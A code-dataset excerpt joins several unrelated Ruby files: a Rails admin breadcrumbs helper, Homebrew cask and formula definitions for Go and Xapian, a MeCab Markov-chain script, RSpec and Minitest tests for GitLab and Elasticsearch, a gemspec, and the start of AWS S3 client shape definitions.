concat messages_and_help_for(field) if opts[:messages_and_help]
end.html_safe
end
# Creative whitespace:
ViewType = Struct.new(:parent, :type, :authorization, :path_method)
VIEW_TYPES = {
:delete => ViewType.new(:show, :object, :delete),
:history => ViewType.new(:show, :object, nil, :history_object),
:edit => ViewType.new(:show, :object, :edit),
:show => ViewType.new(:list, :object, nil),
:export => ViewType.new(:list, :model, :export),
:bulk_destroy => ViewType.new(:list, :model, :delete),
:new => ViewType.new(:list, :model, :new),
:model_history => ViewType.new(:list, :model, nil, :history_model),
:list => ViewType.new(:dashboard, :model, :list),
:dashboard => ViewType.new
}
def breadcrumbs_for view, abstract_model_or_object
# create an array of all the names of the views we want breadcrumb links to
views = []
parent = view
begin
views << parent
end while parent = VIEW_TYPES[parent].parent
# get a breadcrumb for each view name
breadcrumbs = views.reverse.map do |v|
breadcrumb_for v, abstract_model_or_object, (v==view)
end
# join the breadcrumbs together inside some other tags
content_tag(:div, :class => "secondary-navigation") do
content_tag(:ul, :class => "wat-cf") do
breadcrumbs.join("\n").html_safe
end
end
end
private
def abstract_model_and_object abstract_model_or_object
if abstract_model_or_object.is_a?(AbstractModel)
abstract_model = abstract_model_or_object
object = nil
elsif abstract_model_or_object.present?
object = abstract_model_or_object
abstract_model = AbstractModel.new(object.class)
end
[abstract_model, object]
end
def breadcrumb_for view, abstract_model_or_object, active
abstract_model, object = abstract_model_and_object( abstract_model_or_object )
vt = VIEW_TYPES[view]
# TODO: write tests
if authorized?(view, abstract_model, object)
css_classes = []
css_classes << "first" if view == :dashboard
css_classes << "active" if active
content_tag(:li, :class => css_classes) do
path_method = vt.path_method || view
link_to I18n.t("admin.breadcrumbs.#{view}").capitalize, self.send("#{path_method}_path")
end
end
end
end
end
| 34.176282 | 156 | 0.597112 |
03a8a1bdf5f84e9332de165e90d97b1bfcf46754 | 528 | test_cask 'invalid-appcast-multiple' do
version '1.2.3'
sha256 '9203c30951f9aab41ac294bbeb1dcef7bed401ff0b353dcb34d68af32ea51853'
url TestHelper.local_binary_url('caffeine.zip')
appcast 'http://example.com/appcast1.xml',
sha256: '9203c30951f9aab41ac294bbeb1dcef7bed401ff0b353dcb34d68af32ea51853'
appcast 'http://example.com/appcast2.xml',
sha256: '9203c30951f9aab41ac294bbeb1dcef7bed401ff0b353dcb34d68af32ea51853'
homepage 'http://example.com/invalid-appcast-multiple'
app 'Caffeine.app'
end
| 37.714286 | 84 | 0.791667 |
bb2ae137b6eb43f87bdc81aaa8ad96c84af19e23 | 408 | require "natto"
require "yaml"
s = gets.chomp
m = Natto::MeCab.new
dic = Hash.new { |h, k| h[k] = Hash.new(0) }
m.enum_parse(s).map(&:surface).each_cons(4) do |a, b, c|
dic[[a, b]][c] += 1
end
open("rodger.yaml", "w") do |fh|
fh.write YAML.dump(dic)
end
a, b = ans = %w(ロジャー は)
while ans.count("。") < 7
ans << dic[[a, b]].keys.sample
a, b = ans[-2, 2]
break if ans.size > 100
end
puts ans.join
| 17.73913 | 56 | 0.580882 |
38ed36577e44546b5a75520d1cda14ced6cdfb33 | 165 | class Instructor < ApplicationRecord
has_many :lessons
has_many :students, through: :lessons
validates :name, uniqueness: true, presence: true
end
| 20.625 | 53 | 0.721212 |
26e0677c165d1ec175bca56936044d3e0dfe4cce | 866 | # encoding: utf-8
require File.expand_path("../lib/decent-pdf/version", __FILE__)
Gem::Specification.new do |s|
#Metadata
s.name = "decent-pdf"
s.version = DecentPdf::VERSION
s.authors = ["Rishab Govind"]
s.email = ["[email protected]"]
s.homepage = ""
s.summary = %q{A decent pdf generator using AthenaPdf}
s.description = %q{}
s.licenses = ['']
# If you want to show a post-install message, uncomment the following lines
# s.post_install_message = <<-MSG
#
#MSG
#Manifest
s.files = `git ls-files`.split("\n")
s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n")
s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
s.require_paths = ['lib']
s.add_runtime_dependency 'thor', '~> 0.19'
s.add_development_dependency 'rspec', '~> 3'
end
| 27.0625 | 83 | 0.615473 |
018d9822d3e11ad3f23d83459824e2829af1aee7 | 3,945 | require 'spec_helper'
describe Clusters::Applications::InstallService do
describe '#execute' do
let(:application) { create(:clusters_applications_helm, :scheduled) }
let!(:install_command) { application.install_command }
let(:service) { described_class.new(application) }
let(:helm_client) { instance_double(Gitlab::Kubernetes::Helm::Api) }
before do
allow(service).to receive(:install_command).and_return(install_command)
allow(service).to receive(:helm_api).and_return(helm_client)
end
context 'when there are no errors' do
before do
expect(helm_client).to receive(:install).with(install_command)
allow(ClusterWaitForAppInstallationWorker).to receive(:perform_in).and_return(nil)
end
it 'make the application installing' do
expect(application.cluster).not_to be_nil
service.execute
expect(application).to be_installing
end
it 'schedule async installation status check' do
expect(ClusterWaitForAppInstallationWorker).to receive(:perform_in).once
service.execute
end
end
context 'when k8s cluster communication fails' do
let(:error) { Kubeclient::HttpError.new(500, 'system failure', nil) }
before do
expect(helm_client).to receive(:install).with(install_command).and_raise(error)
end
it 'make the application errored' do
service.execute
expect(application).to be_errored
expect(application.status_reason).to match('Kubernetes error: 500')
end
it 'logs errors' do
expect(service.send(:logger)).to receive(:error).with(
{
exception: 'Kubeclient::HttpError',
message: 'system failure',
service: 'Clusters::Applications::InstallService',
app_id: application.id,
project_ids: application.cluster.project_ids,
group_ids: [],
error_code: 500
}
)
expect(Gitlab::Sentry).to receive(:track_acceptable_exception).with(
error,
extra: {
exception: 'Kubeclient::HttpError',
message: 'system failure',
service: 'Clusters::Applications::InstallService',
app_id: application.id,
project_ids: application.cluster.project_ids,
group_ids: [],
error_code: 500
}
)
service.execute
end
end
context 'a non kubernetes error happens' do
let(:application) { create(:clusters_applications_helm, :scheduled) }
let(:error) { StandardError.new("something bad happened") }
before do
expect(application).to receive(:make_installing!).once.and_raise(error)
end
it 'make the application errored' do
expect(helm_client).not_to receive(:install)
service.execute
expect(application).to be_errored
expect(application.status_reason).to eq("Can't start installation process.")
end
it 'logs errors' do
expect(service.send(:logger)).to receive(:error).with(
{
exception: 'StandardError',
error_code: nil,
message: 'something bad happened',
service: 'Clusters::Applications::InstallService',
app_id: application.id,
project_ids: application.cluster.projects.pluck(:id),
group_ids: []
}
)
expect(Gitlab::Sentry).to receive(:track_acceptable_exception).with(
error,
extra: {
exception: 'StandardError',
error_code: nil,
message: 'something bad happened',
service: 'Clusters::Applications::InstallService',
app_id: application.id,
project_ids: application.cluster.projects.pluck(:id),
group_ids: []
}
)
service.execute
end
end
end
end
| 31.062992 | 90 | 0.621293 |
21d2bd2a4b59cc80864b05a7bbef3f2c82afe7d1 | 2,778 | class Go < Formula
desc "Open source programming language to build simple/reliable/efficient software"
homepage "https://golang.org"
revision 1
stable do
url "https://dl.google.com/go/go1.14.2.src.tar.gz"
mirror "https://fossies.org/linux/misc/go1.14.2.src.tar.gz"
sha256 "98de84e69726a66da7b4e58eac41b99cbe274d7e8906eeb8a5b7eb0aadee7f7c"
go_version = version.to_s.split(".")[0..1].join(".")
resource "gotools" do
url "https://go.googlesource.com/tools.git",
:branch => "release-branch.go#{go_version}"
end
end
bottle do
sha256 "15b5623471330edcc681d7f9d57b449660e6d4b98c7f67af67f4991fc75d61fc" => :catalina
sha256 "fa65e7dabe514e65ae625ed3c84a6bf58df01aceffc6e9aa99752ca8c320ce69" => :mojave
sha256 "0997f6f5cda0e3bdb7789a80b53621cb588202ab37fd89bcd269f8dfafd23351" => :high_sierra
end
head do
url "https://go.googlesource.com/go.git"
resource "gotools" do
url "https://go.googlesource.com/tools.git"
end
end
depends_on :macos => :el_capitan
# Don't update this unless this version cannot bootstrap the new version.
resource "gobootstrap" do
url "https://storage.googleapis.com/golang/go1.7.darwin-amd64.tar.gz"
sha256 "51d905e0b43b3d0ed41aaf23e19001ab4bc3f96c3ca134b48f7892485fc52961"
end
def install
(buildpath/"gobootstrap").install resource("gobootstrap")
ENV["GOROOT_BOOTSTRAP"] = buildpath/"gobootstrap"
cd "src" do
ENV["GOROOT_FINAL"] = libexec
ENV["GOOS"] = "darwin"
system "./make.bash", "--no-clean"
end
(buildpath/"pkg/obj").rmtree
rm_rf "gobootstrap" # Bootstrap not required beyond compile.
libexec.install Dir["*"]
bin.install_symlink Dir[libexec/"bin/go*"]
system bin/"go", "install", "-race", "std"
# Build and install godoc
ENV.prepend_path "PATH", bin
ENV["GOPATH"] = buildpath
(buildpath/"src/golang.org/x/tools").install resource("gotools")
cd "src/golang.org/x/tools/cmd/godoc/" do
system "go", "build"
(libexec/"bin").install "godoc"
end
bin.install_symlink libexec/"bin/godoc"
end
test do
(testpath/"hello.go").write <<~EOS
package main
import "fmt"
func main() {
fmt.Println("Hello World")
}
EOS
# Run go fmt check for no errors then run the program.
# This is a a bare minimum of go working as it uses fmt, build, and run.
system bin/"go", "fmt", "hello.go"
assert_equal "Hello World\n", shell_output("#{bin}/go run hello.go")
# godoc was installed
assert_predicate libexec/"bin/godoc", :exist?
assert_predicate libexec/"bin/godoc", :executable?
ENV["GOOS"] = "freebsd"
ENV["GOARCH"] = "amd64"
system bin/"go", "build", "hello.go"
end
end
| 30.195652 | 93 | 0.675306 |
5da14657202bf0999e67518b3452ecda312c3979 | 115 | json.extract! user, :id, :name, :password, :email, :created_at, :updated_at
json.url user_url(user, format: :json)
| 38.333333 | 75 | 0.721739 |
b97cb3fd394485edfecbb66a64c916b52bfdebdd | 1,975 | class Xapian < Formula
desc "C++ search engine library"
homepage "https://xapian.org/"
url "https://oligarchy.co.uk/xapian/1.4.15/xapian-core-1.4.15.tar.xz"
sha256 "b168e95918a01e014fb6a6cbce26e535f80da4d4791bfa5a0e0051fcb6f950ea"
revision 1
version_scheme 1
bottle do
cellar :any
sha256 "805a00d6553c550fe560eeef68e3f4a7aae6e8d2b22078076f5e9ad3f70872f8" => :catalina
sha256 "fecab9b32680b8df85e42387b4e01ee8a366ec9ed1cd1aef42f161d387e00d8d" => :mojave
sha256 "9807db08b140e2b033ea22b32a15755c2fc85329e63d4eb72ea0b711e1ca28d6" => :high_sierra
end
depends_on "sphinx-doc" => :build
depends_on "[email protected]"
uses_from_macos "zlib"
on_linux do
depends_on "util-linux"
end
skip_clean :la
resource "bindings" do
url "https://oligarchy.co.uk/xapian/1.4.15/xapian-bindings-1.4.15.tar.xz"
sha256 "68441612d87904a49066e5707a42cde171e4d423bf8ad23f3f6c04b8a9b2c40c"
end
def install
python = Formula["[email protected]"].opt_bin/"python3"
ENV["PYTHON"] = python
system "./configure", "--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}"
system "make", "install"
resource("bindings").stage do
ENV["XAPIAN_CONFIG"] = bin/"xapian-config"
xy = Language::Python.major_minor_version python
ENV.prepend_create_path "PYTHON3_LIB", lib/"python#{xy}/site-packages"
ENV.append_path "PYTHONPATH", Formula["sphinx-doc"].opt_libexec/"lib/python#{xy}/site-packages"
ENV.append_path "PYTHONPATH", Formula["sphinx-doc"].opt_libexec/"vendor/lib/python#{xy}/site-packages"
system "./configure", "--disable-dependency-tracking",
"--prefix=#{prefix}",
"--with-python3"
system "make", "install"
end
end
test do
system bin/"xapian-config", "--libs"
system Formula["[email protected]"].opt_bin/"python3", "-c", "import xapian"
end
end
| 31.349206 | 108 | 0.676456 |
bfe14798aa0f101ad79847c07e2c67517d24dbf3 | 1,435 | # Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
require 'test_helper'
module Elasticsearch
module Test
class XPackMlStartDatafeedTest < Minitest::Test
context "XPack MachineLearning: Start datafeed" do
subject { FakeClient.new }
should "perform correct request" do
subject.expects(:perform_request).with do |method, url, params, body|
assert_equal 'POST', method
assert_equal "_ml/datafeeds/foo/_start", url
assert_equal Hash.new, params
assert_nil body
true
end.returns(FakeResponse.new)
subject.xpack.ml.start_datafeed :datafeed_id => 'foo'
end
end
end
end
end
| 32.613636 | 79 | 0.708711 |
2697546fa9978765bd536f05e3d1dfd10dfa058b | 219,535 | # WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::S3
# @api private
module ClientApi
include Seahorse::Model
AbortDate = Shapes::TimestampShape.new(name: 'AbortDate')
AbortIncompleteMultipartUpload = Shapes::StructureShape.new(name: 'AbortIncompleteMultipartUpload')
AbortMultipartUploadOutput = Shapes::StructureShape.new(name: 'AbortMultipartUploadOutput')
AbortMultipartUploadRequest = Shapes::StructureShape.new(name: 'AbortMultipartUploadRequest')
AbortRuleId = Shapes::StringShape.new(name: 'AbortRuleId')
AccelerateConfiguration = Shapes::StructureShape.new(name: 'AccelerateConfiguration')
AcceptRanges = Shapes::StringShape.new(name: 'AcceptRanges')
AccessControlPolicy = Shapes::StructureShape.new(name: 'AccessControlPolicy')
AccessControlTranslation = Shapes::StructureShape.new(name: 'AccessControlTranslation')
AccountId = Shapes::StringShape.new(name: 'AccountId')
AllowedHeader = Shapes::StringShape.new(name: 'AllowedHeader')
AllowedHeaders = Shapes::ListShape.new(name: 'AllowedHeaders', flattened: true)
AllowedMethod = Shapes::StringShape.new(name: 'AllowedMethod')
AllowedMethods = Shapes::ListShape.new(name: 'AllowedMethods', flattened: true)
AllowedOrigin = Shapes::StringShape.new(name: 'AllowedOrigin')
AllowedOrigins = Shapes::ListShape.new(name: 'AllowedOrigins', flattened: true)
AnalyticsAndOperator = Shapes::StructureShape.new(name: 'AnalyticsAndOperator')
AnalyticsConfiguration = Shapes::StructureShape.new(name: 'AnalyticsConfiguration')
AnalyticsConfigurationList = Shapes::ListShape.new(name: 'AnalyticsConfigurationList', flattened: true)
AnalyticsExportDestination = Shapes::StructureShape.new(name: 'AnalyticsExportDestination')
AnalyticsFilter = Shapes::StructureShape.new(name: 'AnalyticsFilter')
AnalyticsId = Shapes::StringShape.new(name: 'AnalyticsId')
AnalyticsS3BucketDestination = Shapes::StructureShape.new(name: 'AnalyticsS3BucketDestination')
AnalyticsS3ExportFileFormat = Shapes::StringShape.new(name: 'AnalyticsS3ExportFileFormat')
Body = Shapes::BlobShape.new(name: 'Body')
Bucket = Shapes::StructureShape.new(name: 'Bucket')
BucketAccelerateStatus = Shapes::StringShape.new(name: 'BucketAccelerateStatus')
BucketAlreadyExists = Shapes::StructureShape.new(name: 'BucketAlreadyExists')
BucketAlreadyOwnedByYou = Shapes::StructureShape.new(name: 'BucketAlreadyOwnedByYou')
BucketCannedACL = Shapes::StringShape.new(name: 'BucketCannedACL')
BucketLifecycleConfiguration = Shapes::StructureShape.new(name: 'BucketLifecycleConfiguration')
BucketLocationConstraint = Shapes::StringShape.new(name: 'BucketLocationConstraint')
BucketLoggingStatus = Shapes::StructureShape.new(name: 'BucketLoggingStatus')
BucketLogsPermission = Shapes::StringShape.new(name: 'BucketLogsPermission')
BucketName = Shapes::StringShape.new(name: 'BucketName')
BucketVersioningStatus = Shapes::StringShape.new(name: 'BucketVersioningStatus')
Buckets = Shapes::ListShape.new(name: 'Buckets')
BytesProcessed = Shapes::IntegerShape.new(name: 'BytesProcessed')
BytesReturned = Shapes::IntegerShape.new(name: 'BytesReturned')
BytesScanned = Shapes::IntegerShape.new(name: 'BytesScanned')
CORSConfiguration = Shapes::StructureShape.new(name: 'CORSConfiguration')
CORSRule = Shapes::StructureShape.new(name: 'CORSRule')
CORSRules = Shapes::ListShape.new(name: 'CORSRules', flattened: true)
CSVInput = Shapes::StructureShape.new(name: 'CSVInput')
CSVOutput = Shapes::StructureShape.new(name: 'CSVOutput')
CacheControl = Shapes::StringShape.new(name: 'CacheControl')
CloudFunction = Shapes::StringShape.new(name: 'CloudFunction')
CloudFunctionConfiguration = Shapes::StructureShape.new(name: 'CloudFunctionConfiguration')
CloudFunctionInvocationRole = Shapes::StringShape.new(name: 'CloudFunctionInvocationRole')
Code = Shapes::StringShape.new(name: 'Code')
Comments = Shapes::StringShape.new(name: 'Comments')
CommonPrefix = Shapes::StructureShape.new(name: 'CommonPrefix')
CommonPrefixList = Shapes::ListShape.new(name: 'CommonPrefixList', flattened: true)
CompleteMultipartUploadOutput = Shapes::StructureShape.new(name: 'CompleteMultipartUploadOutput')
CompleteMultipartUploadRequest = Shapes::StructureShape.new(name: 'CompleteMultipartUploadRequest')
CompletedMultipartUpload = Shapes::StructureShape.new(name: 'CompletedMultipartUpload')
CompletedPart = Shapes::StructureShape.new(name: 'CompletedPart')
CompletedPartList = Shapes::ListShape.new(name: 'CompletedPartList', flattened: true)
CompressionType = Shapes::StringShape.new(name: 'CompressionType')
Condition = Shapes::StructureShape.new(name: 'Condition')
ConfirmRemoveSelfBucketAccess = Shapes::BooleanShape.new(name: 'ConfirmRemoveSelfBucketAccess')
ContentDisposition = Shapes::StringShape.new(name: 'ContentDisposition')
ContentEncoding = Shapes::StringShape.new(name: 'ContentEncoding')
ContentLanguage = Shapes::StringShape.new(name: 'ContentLanguage')
ContentLength = Shapes::IntegerShape.new(name: 'ContentLength')
ContentMD5 = Shapes::StringShape.new(name: 'ContentMD5')
ContentRange = Shapes::StringShape.new(name: 'ContentRange')
ContentType = Shapes::StringShape.new(name: 'ContentType')
ContinuationEvent = Shapes::StructureShape.new(name: 'ContinuationEvent')
CopyObjectOutput = Shapes::StructureShape.new(name: 'CopyObjectOutput')
CopyObjectRequest = Shapes::StructureShape.new(name: 'CopyObjectRequest')
CopyObjectResult = Shapes::StructureShape.new(name: 'CopyObjectResult')
CopyPartResult = Shapes::StructureShape.new(name: 'CopyPartResult')
CopySource = Shapes::StringShape.new(name: 'CopySource')
CopySourceIfMatch = Shapes::StringShape.new(name: 'CopySourceIfMatch')
CopySourceIfModifiedSince = Shapes::TimestampShape.new(name: 'CopySourceIfModifiedSince')
CopySourceIfNoneMatch = Shapes::StringShape.new(name: 'CopySourceIfNoneMatch')
CopySourceIfUnmodifiedSince = Shapes::TimestampShape.new(name: 'CopySourceIfUnmodifiedSince')
CopySourceRange = Shapes::StringShape.new(name: 'CopySourceRange')
CopySourceSSECustomerAlgorithm = Shapes::StringShape.new(name: 'CopySourceSSECustomerAlgorithm')
CopySourceSSECustomerKey = Shapes::StringShape.new(name: 'CopySourceSSECustomerKey')
CopySourceSSECustomerKeyMD5 = Shapes::StringShape.new(name: 'CopySourceSSECustomerKeyMD5')
CopySourceVersionId = Shapes::StringShape.new(name: 'CopySourceVersionId')
CreateBucketConfiguration = Shapes::StructureShape.new(name: 'CreateBucketConfiguration')
CreateBucketOutput = Shapes::StructureShape.new(name: 'CreateBucketOutput')
CreateBucketRequest = Shapes::StructureShape.new(name: 'CreateBucketRequest')
CreateMultipartUploadOutput = Shapes::StructureShape.new(name: 'CreateMultipartUploadOutput')
CreateMultipartUploadRequest = Shapes::StructureShape.new(name: 'CreateMultipartUploadRequest')
CreationDate = Shapes::TimestampShape.new(name: 'CreationDate')
Date = Shapes::TimestampShape.new(name: 'Date', timestampFormat: "iso8601")
Days = Shapes::IntegerShape.new(name: 'Days')
DaysAfterInitiation = Shapes::IntegerShape.new(name: 'DaysAfterInitiation')
Delete = Shapes::StructureShape.new(name: 'Delete')
DeleteBucketAnalyticsConfigurationRequest = Shapes::StructureShape.new(name: 'DeleteBucketAnalyticsConfigurationRequest')
DeleteBucketCorsRequest = Shapes::StructureShape.new(name: 'DeleteBucketCorsRequest')
DeleteBucketEncryptionRequest = Shapes::StructureShape.new(name: 'DeleteBucketEncryptionRequest')
DeleteBucketInventoryConfigurationRequest = Shapes::StructureShape.new(name: 'DeleteBucketInventoryConfigurationRequest')
DeleteBucketLifecycleRequest = Shapes::StructureShape.new(name: 'DeleteBucketLifecycleRequest')
DeleteBucketMetricsConfigurationRequest = Shapes::StructureShape.new(name: 'DeleteBucketMetricsConfigurationRequest')
DeleteBucketPolicyRequest = Shapes::StructureShape.new(name: 'DeleteBucketPolicyRequest')
DeleteBucketReplicationRequest = Shapes::StructureShape.new(name: 'DeleteBucketReplicationRequest')
DeleteBucketRequest = Shapes::StructureShape.new(name: 'DeleteBucketRequest')
DeleteBucketTaggingRequest = Shapes::StructureShape.new(name: 'DeleteBucketTaggingRequest')
DeleteBucketWebsiteRequest = Shapes::StructureShape.new(name: 'DeleteBucketWebsiteRequest')
DeleteMarker = Shapes::BooleanShape.new(name: 'DeleteMarker')
DeleteMarkerEntry = Shapes::StructureShape.new(name: 'DeleteMarkerEntry')
DeleteMarkerVersionId = Shapes::StringShape.new(name: 'DeleteMarkerVersionId')
DeleteMarkers = Shapes::ListShape.new(name: 'DeleteMarkers', flattened: true)
DeleteObjectOutput = Shapes::StructureShape.new(name: 'DeleteObjectOutput')
DeleteObjectRequest = Shapes::StructureShape.new(name: 'DeleteObjectRequest')
DeleteObjectTaggingOutput = Shapes::StructureShape.new(name: 'DeleteObjectTaggingOutput')
DeleteObjectTaggingRequest = Shapes::StructureShape.new(name: 'DeleteObjectTaggingRequest')
DeleteObjectsOutput = Shapes::StructureShape.new(name: 'DeleteObjectsOutput')
DeleteObjectsRequest = Shapes::StructureShape.new(name: 'DeleteObjectsRequest')
DeletedObject = Shapes::StructureShape.new(name: 'DeletedObject')
DeletedObjects = Shapes::ListShape.new(name: 'DeletedObjects', flattened: true)
Delimiter = Shapes::StringShape.new(name: 'Delimiter')
Description = Shapes::StringShape.new(name: 'Description')
Destination = Shapes::StructureShape.new(name: 'Destination')
DisplayName = Shapes::StringShape.new(name: 'DisplayName')
ETag = Shapes::StringShape.new(name: 'ETag')
EmailAddress = Shapes::StringShape.new(name: 'EmailAddress')
EnableRequestProgress = Shapes::BooleanShape.new(name: 'EnableRequestProgress')
EncodingType = Shapes::StringShape.new(name: 'EncodingType')
Encryption = Shapes::StructureShape.new(name: 'Encryption')
EncryptionConfiguration = Shapes::StructureShape.new(name: 'EncryptionConfiguration')
EndEvent = Shapes::StructureShape.new(name: 'EndEvent')
Error = Shapes::StructureShape.new(name: 'Error')
ErrorDocument = Shapes::StructureShape.new(name: 'ErrorDocument')
Errors = Shapes::ListShape.new(name: 'Errors', flattened: true)
Event = Shapes::StringShape.new(name: 'Event')
EventList = Shapes::ListShape.new(name: 'EventList', flattened: true)
Expiration = Shapes::StringShape.new(name: 'Expiration')
ExpirationStatus = Shapes::StringShape.new(name: 'ExpirationStatus')
ExpiredObjectDeleteMarker = Shapes::BooleanShape.new(name: 'ExpiredObjectDeleteMarker')
Expires = Shapes::TimestampShape.new(name: 'Expires')
ExpiresString = Shapes::StringShape.new(name: 'ExpiresString')
ExposeHeader = Shapes::StringShape.new(name: 'ExposeHeader')
ExposeHeaders = Shapes::ListShape.new(name: 'ExposeHeaders', flattened: true)
Expression = Shapes::StringShape.new(name: 'Expression')
ExpressionType = Shapes::StringShape.new(name: 'ExpressionType')
FetchOwner = Shapes::BooleanShape.new(name: 'FetchOwner')
FieldDelimiter = Shapes::StringShape.new(name: 'FieldDelimiter')
FileHeaderInfo = Shapes::StringShape.new(name: 'FileHeaderInfo')
FilterRule = Shapes::StructureShape.new(name: 'FilterRule')
FilterRuleList = Shapes::ListShape.new(name: 'FilterRuleList', flattened: true)
FilterRuleName = Shapes::StringShape.new(name: 'FilterRuleName')
FilterRuleValue = Shapes::StringShape.new(name: 'FilterRuleValue')
GetBucketAccelerateConfigurationOutput = Shapes::StructureShape.new(name: 'GetBucketAccelerateConfigurationOutput')
GetBucketAccelerateConfigurationRequest = Shapes::StructureShape.new(name: 'GetBucketAccelerateConfigurationRequest')
GetBucketAclOutput = Shapes::StructureShape.new(name: 'GetBucketAclOutput')
GetBucketAclRequest = Shapes::StructureShape.new(name: 'GetBucketAclRequest')
GetBucketAnalyticsConfigurationOutput = Shapes::StructureShape.new(name: 'GetBucketAnalyticsConfigurationOutput')
GetBucketAnalyticsConfigurationRequest = Shapes::StructureShape.new(name: 'GetBucketAnalyticsConfigurationRequest')
GetBucketCorsOutput = Shapes::StructureShape.new(name: 'GetBucketCorsOutput')
GetBucketCorsRequest = Shapes::StructureShape.new(name: 'GetBucketCorsRequest')
GetBucketEncryptionOutput = Shapes::StructureShape.new(name: 'GetBucketEncryptionOutput')
GetBucketEncryptionRequest = Shapes::StructureShape.new(name: 'GetBucketEncryptionRequest')
GetBucketInventoryConfigurationOutput = Shapes::StructureShape.new(name: 'GetBucketInventoryConfigurationOutput')
GetBucketInventoryConfigurationRequest = Shapes::StructureShape.new(name: 'GetBucketInventoryConfigurationRequest')
GetBucketLifecycleConfigurationOutput = Shapes::StructureShape.new(name: 'GetBucketLifecycleConfigurationOutput')
GetBucketLifecycleConfigurationRequest = Shapes::StructureShape.new(name: 'GetBucketLifecycleConfigurationRequest')
GetBucketLifecycleOutput = Shapes::StructureShape.new(name: 'GetBucketLifecycleOutput')
GetBucketLifecycleRequest = Shapes::StructureShape.new(name: 'GetBucketLifecycleRequest')
GetBucketLocationOutput = Shapes::StructureShape.new(name: 'GetBucketLocationOutput')
GetBucketLocationRequest = Shapes::StructureShape.new(name: 'GetBucketLocationRequest')
GetBucketLoggingOutput = Shapes::StructureShape.new(name: 'GetBucketLoggingOutput')
GetBucketLoggingRequest = Shapes::StructureShape.new(name: 'GetBucketLoggingRequest')
GetBucketMetricsConfigurationOutput = Shapes::StructureShape.new(name: 'GetBucketMetricsConfigurationOutput')
GetBucketMetricsConfigurationRequest = Shapes::StructureShape.new(name: 'GetBucketMetricsConfigurationRequest')
GetBucketNotificationConfigurationRequest = Shapes::StructureShape.new(name: 'GetBucketNotificationConfigurationRequest')
GetBucketPolicyOutput = Shapes::StructureShape.new(name: 'GetBucketPolicyOutput')
GetBucketPolicyRequest = Shapes::StructureShape.new(name: 'GetBucketPolicyRequest')
GetBucketReplicationOutput = Shapes::StructureShape.new(name: 'GetBucketReplicationOutput')
GetBucketReplicationRequest = Shapes::StructureShape.new(name: 'GetBucketReplicationRequest')
GetBucketRequestPaymentOutput = Shapes::StructureShape.new(name: 'GetBucketRequestPaymentOutput')
GetBucketRequestPaymentRequest = Shapes::StructureShape.new(name: 'GetBucketRequestPaymentRequest')
GetBucketTaggingOutput = Shapes::StructureShape.new(name: 'GetBucketTaggingOutput')
GetBucketTaggingRequest = Shapes::StructureShape.new(name: 'GetBucketTaggingRequest')
GetBucketVersioningOutput = Shapes::StructureShape.new(name: 'GetBucketVersioningOutput')
GetBucketVersioningRequest = Shapes::StructureShape.new(name: 'GetBucketVersioningRequest')
GetBucketWebsiteOutput = Shapes::StructureShape.new(name: 'GetBucketWebsiteOutput')
GetBucketWebsiteRequest = Shapes::StructureShape.new(name: 'GetBucketWebsiteRequest')
GetObjectAclOutput = Shapes::StructureShape.new(name: 'GetObjectAclOutput')
GetObjectAclRequest = Shapes::StructureShape.new(name: 'GetObjectAclRequest')
GetObjectOutput = Shapes::StructureShape.new(name: 'GetObjectOutput')
GetObjectRequest = Shapes::StructureShape.new(name: 'GetObjectRequest')
GetObjectTaggingOutput = Shapes::StructureShape.new(name: 'GetObjectTaggingOutput')
GetObjectTaggingRequest = Shapes::StructureShape.new(name: 'GetObjectTaggingRequest')
GetObjectTorrentOutput = Shapes::StructureShape.new(name: 'GetObjectTorrentOutput')
GetObjectTorrentRequest = Shapes::StructureShape.new(name: 'GetObjectTorrentRequest')
GlacierJobParameters = Shapes::StructureShape.new(name: 'GlacierJobParameters')
Grant = Shapes::StructureShape.new(name: 'Grant')
GrantFullControl = Shapes::StringShape.new(name: 'GrantFullControl')
GrantRead = Shapes::StringShape.new(name: 'GrantRead')
GrantReadACP = Shapes::StringShape.new(name: 'GrantReadACP')
GrantWrite = Shapes::StringShape.new(name: 'GrantWrite')
GrantWriteACP = Shapes::StringShape.new(name: 'GrantWriteACP')
Grantee = Shapes::StructureShape.new(name: 'Grantee', xmlNamespace: {"prefix"=>"xsi", "uri"=>"http://www.w3.org/2001/XMLSchema-instance"})
Grants = Shapes::ListShape.new(name: 'Grants')
HeadBucketRequest = Shapes::StructureShape.new(name: 'HeadBucketRequest')
HeadObjectOutput = Shapes::StructureShape.new(name: 'HeadObjectOutput')
HeadObjectRequest = Shapes::StructureShape.new(name: 'HeadObjectRequest')
HostName = Shapes::StringShape.new(name: 'HostName')
HttpErrorCodeReturnedEquals = Shapes::StringShape.new(name: 'HttpErrorCodeReturnedEquals')
HttpRedirectCode = Shapes::StringShape.new(name: 'HttpRedirectCode')
ID = Shapes::StringShape.new(name: 'ID')
IfMatch = Shapes::StringShape.new(name: 'IfMatch')
IfModifiedSince = Shapes::TimestampShape.new(name: 'IfModifiedSince')
IfNoneMatch = Shapes::StringShape.new(name: 'IfNoneMatch')
IfUnmodifiedSince = Shapes::TimestampShape.new(name: 'IfUnmodifiedSince')
IndexDocument = Shapes::StructureShape.new(name: 'IndexDocument')
Initiated = Shapes::TimestampShape.new(name: 'Initiated')
Initiator = Shapes::StructureShape.new(name: 'Initiator')
InputSerialization = Shapes::StructureShape.new(name: 'InputSerialization')
InventoryConfiguration = Shapes::StructureShape.new(name: 'InventoryConfiguration')
InventoryConfigurationList = Shapes::ListShape.new(name: 'InventoryConfigurationList', flattened: true)
InventoryDestination = Shapes::StructureShape.new(name: 'InventoryDestination')
InventoryEncryption = Shapes::StructureShape.new(name: 'InventoryEncryption')
InventoryFilter = Shapes::StructureShape.new(name: 'InventoryFilter')
